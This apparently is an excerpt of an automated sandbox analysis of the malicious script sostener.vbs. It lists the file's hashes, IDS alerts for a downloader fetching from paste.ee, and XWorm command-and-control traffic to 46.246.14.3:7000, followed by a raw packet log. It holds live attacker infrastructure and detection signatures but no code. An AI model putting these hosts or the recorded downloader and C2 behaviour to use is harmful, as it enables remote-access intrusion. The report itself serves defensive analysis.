TrID:	Text - UTF-16 (LE) encoded (2002/1) 64.44% MP3 audio (1001/1) 32.22% Lumena CEL bitmap (63/63) 2.03% Corel Photo Paint (41/41) 1.32%
File name:	sostener.vbs
File size:	16'171'698 bytes
MD5:	b18fcb9a2af66c700b70cd9f9a58a563
SHA1:	dae167b9d105e0a29dfb43d83540634819c41f0f
SHA256:	06eb284366b1e9ef0cb5dde4f81e8ad974370d6ca1cf6e9969a9721ee5a6df2d
SHA512:	6003d459f3b01b5e71bc6cef265baa91cb083e5f7b23e3833cc2392538579ec776e5036405e16da5389ca9dbb955080fbe93c932eeaf231c8c7f19ce05a7974c
SSDEEP:	384:ySSSSbSSSSbSSSSbSSSSCSSSSbSSSSbSSSSbSSSSbSSSSbSSSSbSSSSbSSSSCSSB:4
TLSH:	0DF6B434ED6E6447BD3F41EF3A616872C51B9B0612C24C3B292A504F4EBE6017EB1DE9
File Content Preview:	..............'.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.'.'.'.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-

File Icon


Icon Hash:	68d69b8f86ab9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-03T06:53:10.743341+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49708	104.20.4.235	443	TCP
2024-10-03T06:53:13.592811+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49710	104.20.4.235	443	TCP
2024-10-03T06:53:14.450466+0200	2841075	ETPRO MALWARE Terse Request to paste .ee - Possible Download	1	192.168.2.5	49711	188.114.96.3	443	TCP
2024-10-03T06:53:14.599789+0200	2020424	ET EXPLOIT_KIT Unknown EK Landing Feb 16 2015 b64 2 M1	1	188.114.96.3	443	192.168.2.5	49711	TCP
2024-10-03T06:53:26.855375+0200	2855924	ETPRO MALWARE Win32/XWorm V3 CnC Command - PING Outbound	1	192.168.2.5	49712	46.246.14.3	7000	TCP
2024-10-03T06:53:27.229468+0200	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	46.246.14.3	7000	192.168.2.5	49712	TCP
2024-10-03T06:53:27.281241+0200	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.5	49712	46.246.14.3	7000	TCP
2024-10-03T06:53:31.500323+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49725	104.20.4.235	443	TCP
2024-10-03T06:53:32.934662+0200	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	46.246.14.3	7000	192.168.2.5	49712	TCP
2024-10-03T06:53:32.934662+0200	2852874	ETPRO MALWARE Win32/XWorm CnC PING Command Inbound M2	1	46.246.14.3	7000	192.168.2.5	49712	TCP
2024-10-03T06:53:34.227323+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49727	104.20.4.235	443	TCP
2024-10-03T06:53:35.100353+0200	2841075	ETPRO MALWARE Terse Request to paste .ee - Possible Download	1	192.168.2.5	49728	188.114.96.3	443	TCP
2024-10-03T06:53:35.248038+0200	2020424	ET EXPLOIT_KIT Unknown EK Landing Feb 16 2015 b64 2 M1	1	188.114.96.3	443	192.168.2.5	49728	TCP
2024-10-03T06:53:38.696524+0200	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	46.246.14.3	7000	192.168.2.5	49712	TCP
2024-10-03T06:53:38.698900+0200	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.5	49712	46.246.14.3	7000	TCP
2024-10-03T06:53:50.480098+0200	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	46.246.14.3	7000	192.168.2.5	49712	TCP
2024-10-03T06:53:50.520812+0200	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.5	49712	46.246.14.3	7000	TCP
2024-10-03T06:54:01.564440+0200	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	46.246.14.3	7000	192.168.2.5	49712	TCP
2024-10-03T06:54:01.589317+0200	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.5	49712	46.246.14.3	7000	TCP
2024-10-03T06:54:02.852872+0200	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	46.246.14.3	7000	192.168.2.5	49712	TCP
2024-10-03T06:54:02.852872+0200	2852874	ETPRO MALWARE Win32/XWorm CnC PING Command Inbound M2	1	46.246.14.3	7000	192.168.2.5	49712	TCP
2024-10-03T06:54:13.168649+0200	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	46.246.14.3	7000	192.168.2.5	49712	TCP
2024-10-03T06:54:13.171376+0200	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.5	49712	46.246.14.3	7000	TCP
2024-10-03T06:54:18.695335+0200	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	46.246.14.3	7000	192.168.2.5	49712	TCP
2024-10-03T06:54:18.699279+0200	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.5	49712	46.246.14.3	7000	TCP
2024-10-03T06:54:30.008241+0200	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	46.246.14.3	7000	192.168.2.5	49712	TCP
2024-10-03T06:54:30.011608+0200	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.5	49712	46.246.14.3	7000	TCP
2024-10-03T06:54:31.785152+0200	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	46.246.14.3	7000	192.168.2.5	49712	TCP
2024-10-03T06:54:31.787240+0200	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.5	49712	46.246.14.3	7000	TCP
2024-10-03T06:54:32.851069+0200	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	46.246.14.3	7000	192.168.2.5	49712	TCP
2024-10-03T06:54:32.851069+0200	2852874	ETPRO MALWARE Win32/XWorm CnC PING Command Inbound M2	1	46.246.14.3	7000	192.168.2.5	49712	TCP
2024-10-03T06:54:34.704124+0200	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	46.246.14.3	7000	192.168.2.5	49712	TCP
2024-10-03T06:54:34.705701+0200	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.5	49712	46.246.14.3	7000	TCP
2024-10-03T06:54:34.979628+0200	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	46.246.14.3	7000	192.168.2.5	49712	TCP
2024-10-03T06:54:34.982207+0200	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.5	49712	46.246.14.3	7000	TCP
2024-10-03T06:54:42.056654+0200	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	46.246.14.3	7000	192.168.2.5	49712	TCP
2024-10-03T06:54:42.058423+0200	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.5	49712	46.246.14.3	7000	TCP
2024-10-03T06:54:50.292339+0200	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	46.246.14.3	7000	192.168.2.5	49712	TCP
2024-10-03T06:54:50.295484+0200	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.5	49712	46.246.14.3	7000	TCP
2024-10-03T06:54:57.753720+0200	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	46.246.14.3	7000	192.168.2.5	49712	TCP
2024-10-03T06:54:57.765253+0200	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.5	49712	46.246.14.3	7000	TCP
2024-10-03T06:55:00.347039+0200	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	46.246.14.3	7000	192.168.2.5	49712	TCP
2024-10-03T06:55:00.348865+0200	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.5	49712	46.246.14.3	7000	TCP
2024-10-03T06:55:01.063226+0200	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	46.246.14.3	7000	192.168.2.5	49712	TCP
2024-10-03T06:55:01.065080+0200	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.5	49712	46.246.14.3	7000	TCP
2024-10-03T06:55:01.393882+0200	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	46.246.14.3	7000	192.168.2.5	49712	TCP
2024-10-03T06:55:01.395979+0200	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.5	49712	46.246.14.3	7000	TCP
2024-10-03T06:55:01.708783+0200	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	46.246.14.3	7000	192.168.2.5	49712	TCP
2024-10-03T06:55:01.710572+0200	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.5	49712	46.246.14.3	7000	TCP
2024-10-03T06:55:02.020012+0200	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	46.246.14.3	7000	192.168.2.5	49712	TCP
2024-10-03T06:55:02.042058+0200	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.5	49712	46.246.14.3	7000	TCP
2024-10-03T06:55:02.862710+0200	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	46.246.14.3	7000	192.168.2.5	49712	TCP
2024-10-03T06:55:02.862710+0200	2852874	ETPRO MALWARE Win32/XWorm CnC PING Command Inbound M2	1	46.246.14.3	7000	192.168.2.5	49712	TCP
2024-10-03T06:55:06.543005+0200	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	46.246.14.3	7000	192.168.2.5	49712	TCP
2024-10-03T06:55:06.545750+0200	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.5	49712	46.246.14.3	7000	TCP
2024-10-03T06:55:15.805767+0200	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	46.246.14.3	7000	192.168.2.5	49712	TCP
2024-10-03T06:55:15.806620+0200	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.5	49712	46.246.14.3	7000	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 3, 2024 06:53:05.484762907 CEST	49704	80	192.168.2.5	104.20.4.235
Oct 3, 2024 06:53:05.489561081 CEST	80	49704	104.20.4.235	192.168.2.5
Oct 3, 2024 06:53:05.489787102 CEST	49704	80	192.168.2.5	104.20.4.235
Oct 3, 2024 06:53:05.490550995 CEST	49704	80	192.168.2.5	104.20.4.235
Oct 3, 2024 06:53:05.495501041 CEST	80	49704	104.20.4.235	192.168.2.5
Oct 3, 2024 06:53:05.942696095 CEST	80	49704	104.20.4.235	192.168.2.5
Oct 3, 2024 06:53:05.944446087 CEST	49705	443	192.168.2.5	104.20.4.235
Oct 3, 2024 06:53:05.944485903 CEST	443	49705	104.20.4.235	192.168.2.5
Oct 3, 2024 06:53:05.944593906 CEST	49705	443	192.168.2.5	104.20.4.235
Oct 3, 2024 06:53:05.951320887 CEST	49705	443	192.168.2.5	104.20.4.235
Oct 3, 2024 06:53:05.951333046 CEST	443	49705	104.20.4.235	192.168.2.5
Oct 3, 2024 06:53:05.992347002 CEST	49704	80	192.168.2.5	104.20.4.235
Oct 3, 2024 06:53:06.426806927 CEST	443	49705	104.20.4.235	192.168.2.5
Oct 3, 2024 06:53:06.426907063 CEST	49705	443	192.168.2.5	104.20.4.235
Oct 3, 2024 06:53:06.435905933 CEST	49705	443	192.168.2.5	104.20.4.235
Oct 3, 2024 06:53:06.435935020 CEST	443	49705	104.20.4.235	192.168.2.5
Oct 3, 2024 06:53:06.436316013 CEST	443	49705	104.20.4.235	192.168.2.5
Oct 3, 2024 06:53:06.476672888 CEST	49705	443	192.168.2.5	104.20.4.235
Oct 3, 2024 06:53:06.535634041 CEST	49705	443	192.168.2.5	104.20.4.235
Oct 3, 2024 06:53:06.579446077 CEST	443	49705	104.20.4.235	192.168.2.5
Oct 3, 2024 06:53:07.098395109 CEST	443	49705	104.20.4.235	192.168.2.5
Oct 3, 2024 06:53:07.098486900 CEST	443	49705	104.20.4.235	192.168.2.5
Oct 3, 2024 06:53:07.098589897 CEST	49705	443	192.168.2.5	104.20.4.235
Oct 3, 2024 06:53:07.104531050 CEST	49705	443	192.168.2.5	104.20.4.235
Oct 3, 2024 06:53:07.123219013 CEST	49706	443	192.168.2.5	185.166.143.50
Oct 3, 2024 06:53:07.123265982 CEST	443	49706	185.166.143.50	192.168.2.5
Oct 3, 2024 06:53:07.123481989 CEST	49706	443	192.168.2.5	185.166.143.50
Oct 3, 2024 06:53:07.123651028 CEST	49706	443	192.168.2.5	185.166.143.50
Oct 3, 2024 06:53:07.123673916 CEST	443	49706	185.166.143.50	192.168.2.5
Oct 3, 2024 06:53:07.888298035 CEST	443	49706	185.166.143.50	192.168.2.5
Oct 3, 2024 06:53:07.888605118 CEST	49706	443	192.168.2.5	185.166.143.50
Oct 3, 2024 06:53:07.891510010 CEST	49706	443	192.168.2.5	185.166.143.50
Oct 3, 2024 06:53:07.891568899 CEST	443	49706	185.166.143.50	192.168.2.5
Oct 3, 2024 06:53:07.891943932 CEST	443	49706	185.166.143.50	192.168.2.5
Oct 3, 2024 06:53:07.893409967 CEST	49706	443	192.168.2.5	185.166.143.50
Oct 3, 2024 06:53:07.935434103 CEST	443	49706	185.166.143.50	192.168.2.5
Oct 3, 2024 06:53:08.505606890 CEST	443	49706	185.166.143.50	192.168.2.5
Oct 3, 2024 06:53:08.505625963 CEST	443	49706	185.166.143.50	192.168.2.5
Oct 3, 2024 06:53:08.505676031 CEST	443	49706	185.166.143.50	192.168.2.5
Oct 3, 2024 06:53:08.505860090 CEST	49706	443	192.168.2.5	185.166.143.50
Oct 3, 2024 06:53:08.506690979 CEST	49706	443	192.168.2.5	185.166.143.50
Oct 3, 2024 06:53:08.544097900 CEST	49707	443	192.168.2.5	52.216.144.11
Oct 3, 2024 06:53:08.544194937 CEST	443	49707	52.216.144.11	192.168.2.5
Oct 3, 2024 06:53:08.544334888 CEST	49707	443	192.168.2.5	52.216.144.11
Oct 3, 2024 06:53:08.544605970 CEST	49707	443	192.168.2.5	52.216.144.11
Oct 3, 2024 06:53:08.544641018 CEST	443	49707	52.216.144.11	192.168.2.5
Oct 3, 2024 06:53:09.242774963 CEST	443	49707	52.216.144.11	192.168.2.5
Oct 3, 2024 06:53:09.243015051 CEST	49707	443	192.168.2.5	52.216.144.11
Oct 3, 2024 06:53:09.251653910 CEST	49707	443	192.168.2.5	52.216.144.11
Oct 3, 2024 06:53:09.251708031 CEST	443	49707	52.216.144.11	192.168.2.5
Oct 3, 2024 06:53:09.251909971 CEST	443	49707	52.216.144.11	192.168.2.5
Oct 3, 2024 06:53:09.252682924 CEST	49707	443	192.168.2.5	52.216.144.11
Oct 3, 2024 06:53:09.295491934 CEST	443	49707	52.216.144.11	192.168.2.5
Oct 3, 2024 06:53:09.408087015 CEST	443	49707	52.216.144.11	192.168.2.5
Oct 3, 2024 06:53:09.408895016 CEST	443	49707	52.216.144.11	192.168.2.5
Oct 3, 2024 06:53:09.408941984 CEST	443	49707	52.216.144.11	192.168.2.5
Oct 3, 2024 06:53:09.408961058 CEST	443	49707	52.216.144.11	192.168.2.5
Oct 3, 2024 06:53:09.409040928 CEST	49707	443	192.168.2.5	52.216.144.11
Oct 3, 2024 06:53:09.409041882 CEST	49707	443	192.168.2.5	52.216.144.11
Oct 3, 2024 06:53:09.409041882 CEST	49707	443	192.168.2.5	52.216.144.11
Oct 3, 2024 06:53:09.414520025 CEST	49707	443	192.168.2.5	52.216.144.11
Oct 3, 2024 06:53:09.875412941 CEST	49708	443	192.168.2.5	104.20.4.235
Oct 3, 2024 06:53:09.875524998 CEST	443	49708	104.20.4.235	192.168.2.5
Oct 3, 2024 06:53:09.875623941 CEST	49708	443	192.168.2.5	104.20.4.235
Oct 3, 2024 06:53:09.875797033 CEST	49708	443	192.168.2.5	104.20.4.235
Oct 3, 2024 06:53:09.875834942 CEST	443	49708	104.20.4.235	192.168.2.5
Oct 3, 2024 06:53:09.881835938 CEST	49704	80	192.168.2.5	104.20.4.235
Oct 3, 2024 06:53:09.887747049 CEST	80	49704	104.20.4.235	192.168.2.5
Oct 3, 2024 06:53:09.887824059 CEST	49704	80	192.168.2.5	104.20.4.235
Oct 3, 2024 06:53:10.334218025 CEST	443	49708	104.20.4.235	192.168.2.5
Oct 3, 2024 06:53:10.335820913 CEST	49708	443	192.168.2.5	104.20.4.235
Oct 3, 2024 06:53:10.335885048 CEST	443	49708	104.20.4.235	192.168.2.5
Oct 3, 2024 06:53:10.743309021 CEST	443	49708	104.20.4.235	192.168.2.5
Oct 3, 2024 06:53:10.743411064 CEST	443	49708	104.20.4.235	192.168.2.5
Oct 3, 2024 06:53:10.743607998 CEST	49708	443	192.168.2.5	104.20.4.235
Oct 3, 2024 06:53:10.744010925 CEST	49708	443	192.168.2.5	104.20.4.235
Oct 3, 2024 06:53:12.540721893 CEST	49710	443	192.168.2.5	104.20.4.235
Oct 3, 2024 06:53:12.540816069 CEST	443	49710	104.20.4.235	192.168.2.5
Oct 3, 2024 06:53:12.540911913 CEST	49710	443	192.168.2.5	104.20.4.235
Oct 3, 2024 06:53:12.541161060 CEST	49710	443	192.168.2.5	104.20.4.235
Oct 3, 2024 06:53:12.541199923 CEST	443	49710	104.20.4.235	192.168.2.5
Oct 3, 2024 06:53:13.004389048 CEST	443	49710	104.20.4.235	192.168.2.5
Oct 3, 2024 06:53:13.005753040 CEST	49710	443	192.168.2.5	104.20.4.235
Oct 3, 2024 06:53:13.005836010 CEST	443	49710	104.20.4.235	192.168.2.5
Oct 3, 2024 06:53:13.592668056 CEST	443	49710	104.20.4.235	192.168.2.5
Oct 3, 2024 06:53:13.592776060 CEST	443	49710	104.20.4.235	192.168.2.5
Oct 3, 2024 06:53:13.592834949 CEST	49710	443	192.168.2.5	104.20.4.235
Oct 3, 2024 06:53:13.593364954 CEST	49710	443	192.168.2.5	104.20.4.235
Oct 3, 2024 06:53:13.602267027 CEST	49711	443	192.168.2.5	188.114.96.3
Oct 3, 2024 06:53:13.602314949 CEST	443	49711	188.114.96.3	192.168.2.5
Oct 3, 2024 06:53:13.602382898 CEST	49711	443	192.168.2.5	188.114.96.3
Oct 3, 2024 06:53:13.602835894 CEST	49711	443	192.168.2.5	188.114.96.3
Oct 3, 2024 06:53:13.602873087 CEST	443	49711	188.114.96.3	192.168.2.5
Oct 3, 2024 06:53:14.078356028 CEST	443	49711	188.114.96.3	192.168.2.5
Oct 3, 2024 06:53:14.078480959 CEST	49711	443	192.168.2.5	188.114.96.3
Oct 3, 2024 06:53:14.080017090 CEST	49711	443	192.168.2.5	188.114.96.3
Oct 3, 2024 06:53:14.080045938 CEST	443	49711	188.114.96.3	192.168.2.5
Oct 3, 2024 06:53:14.080466032 CEST	443	49711	188.114.96.3	192.168.2.5
Oct 3, 2024 06:53:14.081372023 CEST	49711	443	192.168.2.5	188.114.96.3
Oct 3, 2024 06:53:14.127441883 CEST	443	49711	188.114.96.3	192.168.2.5
Oct 3, 2024 06:53:14.450495005 CEST	443	49711	188.114.96.3	192.168.2.5
Oct 3, 2024 06:53:14.450627089 CEST	443	49711	188.114.96.3	192.168.2.5
Oct 3, 2024 06:53:14.450699091 CEST	49711	443	192.168.2.5	188.114.96.3
Oct 3, 2024 06:53:14.450714111 CEST	443	49711	188.114.96.3	192.168.2.5
Oct 3, 2024 06:53:14.450764894 CEST	443	49711	188.114.96.3	192.168.2.5
Oct 3, 2024 06:53:14.450831890 CEST	49711	443	192.168.2.5	188.114.96.3
Oct 3, 2024 06:53:14.450850010 CEST	443	49711	188.114.96.3	192.168.2.5
Oct 3, 2024 06:53:14.492320061 CEST	49711	443	192.168.2.5	188.114.96.3
Oct 3, 2024 06:53:14.510296106 CEST	443	49711	188.114.96.3	192.168.2.5
Oct 3, 2024 06:53:14.510449886 CEST	443	49711	188.114.96.3	192.168.2.5
Oct 3, 2024 06:53:14.510510921 CEST	49711	443	192.168.2.5	188.114.96.3
Oct 3, 2024 06:53:14.510525942 CEST	443	49711	188.114.96.3	192.168.2.5
Oct 3, 2024 06:53:14.510639906 CEST	443	49711	188.114.96.3	192.168.2.5
Oct 3, 2024 06:53:14.510700941 CEST	49711	443	192.168.2.5	188.114.96.3
Oct 3, 2024 06:53:14.510715961 CEST	443	49711	188.114.96.3	192.168.2.5
Oct 3, 2024 06:53:14.510824919 CEST	443	49711	188.114.96.3	192.168.2.5
Oct 3, 2024 06:53:14.510883093 CEST	49711	443	192.168.2.5	188.114.96.3
Oct 3, 2024 06:53:14.510895967 CEST	443	49711	188.114.96.3	192.168.2.5
Oct 3, 2024 06:53:14.537306070 CEST	443	49711	188.114.96.3	192.168.2.5
Oct 3, 2024 06:53:14.537384033 CEST	49711	443	192.168.2.5	188.114.96.3
Oct 3, 2024 06:53:14.537405014 CEST	443	49711	188.114.96.3	192.168.2.5
Oct 3, 2024 06:53:14.537641048 CEST	443	49711	188.114.96.3	192.168.2.5
Oct 3, 2024 06:53:14.537704945 CEST	49711	443	192.168.2.5	188.114.96.3
Oct 3, 2024 06:53:14.537718058 CEST	443	49711	188.114.96.3	192.168.2.5
Oct 3, 2024 06:53:14.537806988 CEST	443	49711	188.114.96.3	192.168.2.5
Oct 3, 2024 06:53:14.537863970 CEST	49711	443	192.168.2.5	188.114.96.3
Oct 3, 2024 06:53:14.537877083 CEST	443	49711	188.114.96.3	192.168.2.5
Oct 3, 2024 06:53:14.538120985 CEST	443	49711	188.114.96.3	192.168.2.5
Oct 3, 2024 06:53:14.538176060 CEST	49711	443	192.168.2.5	188.114.96.3
Oct 3, 2024 06:53:14.538188934 CEST	443	49711	188.114.96.3	192.168.2.5
Oct 3, 2024 06:53:14.586046934 CEST	49711	443	192.168.2.5	188.114.96.3
Oct 3, 2024 06:53:14.586060047 CEST	443	49711	188.114.96.3	192.168.2.5
Oct 3, 2024 06:53:14.597266912 CEST	443	49711	188.114.96.3	192.168.2.5
Oct 3, 2024 06:53:14.597328901 CEST	49711	443	192.168.2.5	188.114.96.3
Oct 3, 2024 06:53:14.597342968 CEST	443	49711	188.114.96.3	192.168.2.5
Oct 3, 2024 06:53:14.597451925 CEST	443	49711	188.114.96.3	192.168.2.5
Oct 3, 2024 06:53:14.597510099 CEST	49711	443	192.168.2.5	188.114.96.3
Oct 3, 2024 06:53:14.597522974 CEST	443	49711	188.114.96.3	192.168.2.5
Oct 3, 2024 06:53:14.598083019 CEST	443	49711	188.114.96.3	192.168.2.5
Oct 3, 2024 06:53:14.598140955 CEST	49711	443	192.168.2.5	188.114.96.3
Oct 3, 2024 06:53:14.598155022 CEST	443	49711	188.114.96.3	192.168.2.5
Oct 3, 2024 06:53:14.598252058 CEST	443	49711	188.114.96.3	192.168.2.5
Oct 3, 2024 06:53:14.598306894 CEST	49711	443	192.168.2.5	188.114.96.3
Oct 3, 2024 06:53:14.598319054 CEST	443	49711	188.114.96.3	192.168.2.5
Oct 3, 2024 06:53:14.598942041 CEST	443	49711	188.114.96.3	192.168.2.5
Oct 3, 2024 06:53:14.598994970 CEST	49711	443	192.168.2.5	188.114.96.3
Oct 3, 2024 06:53:14.599009991 CEST	443	49711	188.114.96.3	192.168.2.5
Oct 3, 2024 06:53:14.599101067 CEST	443	49711	188.114.96.3	192.168.2.5
Oct 3, 2024 06:53:14.599154949 CEST	49711	443	192.168.2.5	188.114.96.3
Oct 3, 2024 06:53:14.599168062 CEST	443	49711	188.114.96.3	192.168.2.5
Oct 3, 2024 06:53:14.599744081 CEST	443	49711	188.114.96.3	192.168.2.5
Oct 3, 2024 06:53:14.599795103 CEST	49711	443	192.168.2.5	188.114.96.3
Oct 3, 2024 06:53:14.599809885 CEST	443	49711	188.114.96.3	192.168.2.5
Oct 3, 2024 06:53:14.599885941 CEST	443	49711	188.114.96.3	192.168.2.5
Oct 3, 2024 06:53:14.599940062 CEST	49711	443	192.168.2.5	188.114.96.3
Oct 3, 2024 06:53:14.599952936 CEST	443	49711	188.114.96.3	192.168.2.5
Oct 3, 2024 06:53:14.625050068 CEST	443	49711	188.114.96.3	192.168.2.5
Oct 3, 2024 06:53:14.625159025 CEST	443	49711	188.114.96.3	192.168.2.5
Oct 3, 2024 06:53:14.625237942 CEST	49711	443	192.168.2.5	188.114.96.3
Oct 3, 2024 06:53:14.625255108 CEST	443	49711	188.114.96.3	192.168.2.5
Oct 3, 2024 06:53:14.625344992 CEST	443	49711	188.114.96.3	192.168.2.5
Oct 3, 2024 06:53:14.625443935 CEST	49711	443	192.168.2.5	188.114.96.3
Oct 3, 2024 06:53:14.625466108 CEST	443	49711	188.114.96.3	192.168.2.5
Oct 3, 2024 06:53:14.625524998 CEST	49711	443	192.168.2.5	188.114.96.3
Oct 3, 2024 06:53:14.625631094 CEST	443	49711	188.114.96.3	192.168.2.5
Oct 3, 2024 06:53:14.625700951 CEST	49711	443	192.168.2.5	188.114.96.3
Oct 3, 2024 06:53:14.626391888 CEST	443	49711	188.114.96.3	192.168.2.5
Oct 3, 2024 06:53:14.626526117 CEST	49711	443	192.168.2.5	188.114.96.3
Oct 3, 2024 06:53:14.626540899 CEST	443	49711	188.114.96.3	192.168.2.5
Oct 3, 2024 06:53:14.626581907 CEST	443	49711	188.114.96.3	192.168.2.5
Oct 3, 2024 06:53:14.626617908 CEST	49711	443	192.168.2.5	188.114.96.3
Oct 3, 2024 06:53:14.626640081 CEST	49711	443	192.168.2.5	188.114.96.3
Oct 3, 2024 06:53:14.627294064 CEST	443	49711	188.114.96.3	192.168.2.5
Oct 3, 2024 06:53:14.627361059 CEST	49711	443	192.168.2.5	188.114.96.3
Oct 3, 2024 06:53:14.685326099 CEST	443	49711	188.114.96.3	192.168.2.5
Oct 3, 2024 06:53:14.685436964 CEST	49711	443	192.168.2.5	188.114.96.3
Oct 3, 2024 06:53:14.685458899 CEST	443	49711	188.114.96.3	192.168.2.5
Oct 3, 2024 06:53:14.685493946 CEST	443	49711	188.114.96.3	192.168.2.5
Oct 3, 2024 06:53:14.685528040 CEST	49711	443	192.168.2.5	188.114.96.3
Oct 3, 2024 06:53:14.685564041 CEST	49711	443	192.168.2.5	188.114.96.3
Oct 3, 2024 06:53:14.685614109 CEST	443	49711	188.114.96.3	192.168.2.5
Oct 3, 2024 06:53:14.685683012 CEST	49711	443	192.168.2.5	188.114.96.3
Oct 3, 2024 06:53:14.685744047 CEST	443	49711	188.114.96.3	192.168.2.5
Oct 3, 2024 06:53:14.685813904 CEST	49711	443	192.168.2.5	188.114.96.3
Oct 3, 2024 06:53:14.686470985 CEST	443	49711	188.114.96.3	192.168.2.5
Oct 3, 2024 06:53:14.686539888 CEST	49711	443	192.168.2.5	188.114.96.3
Oct 3, 2024 06:53:14.686678886 CEST	443	49711	188.114.96.3	192.168.2.5
Oct 3, 2024 06:53:14.686752081 CEST	49711	443	192.168.2.5	188.114.96.3
Oct 3, 2024 06:53:14.687495947 CEST	443	49711	188.114.96.3	192.168.2.5
Oct 3, 2024 06:53:14.687567949 CEST	49711	443	192.168.2.5	188.114.96.3
Oct 3, 2024 06:53:14.687586069 CEST	443	49711	188.114.96.3	192.168.2.5
Oct 3, 2024 06:53:14.687638044 CEST	49711	443	192.168.2.5	188.114.96.3
Oct 3, 2024 06:53:14.687684059 CEST	443	49711	188.114.96.3	192.168.2.5
Oct 3, 2024 06:53:14.687863111 CEST	443	49711	188.114.96.3	192.168.2.5
Oct 3, 2024 06:53:14.687921047 CEST	49711	443	192.168.2.5	188.114.96.3
Oct 3, 2024 06:53:14.688249111 CEST	49711	443	192.168.2.5	188.114.96.3
Oct 3, 2024 06:53:15.251033068 CEST	49712	7000	192.168.2.5	46.246.14.3
Oct 3, 2024 06:53:15.256072998 CEST	7000	49712	46.246.14.3	192.168.2.5
Oct 3, 2024 06:53:15.256232023 CEST	49712	7000	192.168.2.5	46.246.14.3
Oct 3, 2024 06:53:15.421910048 CEST	49712	7000	192.168.2.5	46.246.14.3
Oct 3, 2024 06:53:15.426923037 CEST	7000	49712	46.246.14.3	192.168.2.5
Oct 3, 2024 06:53:26.855375051 CEST	49712	7000	192.168.2.5	46.246.14.3
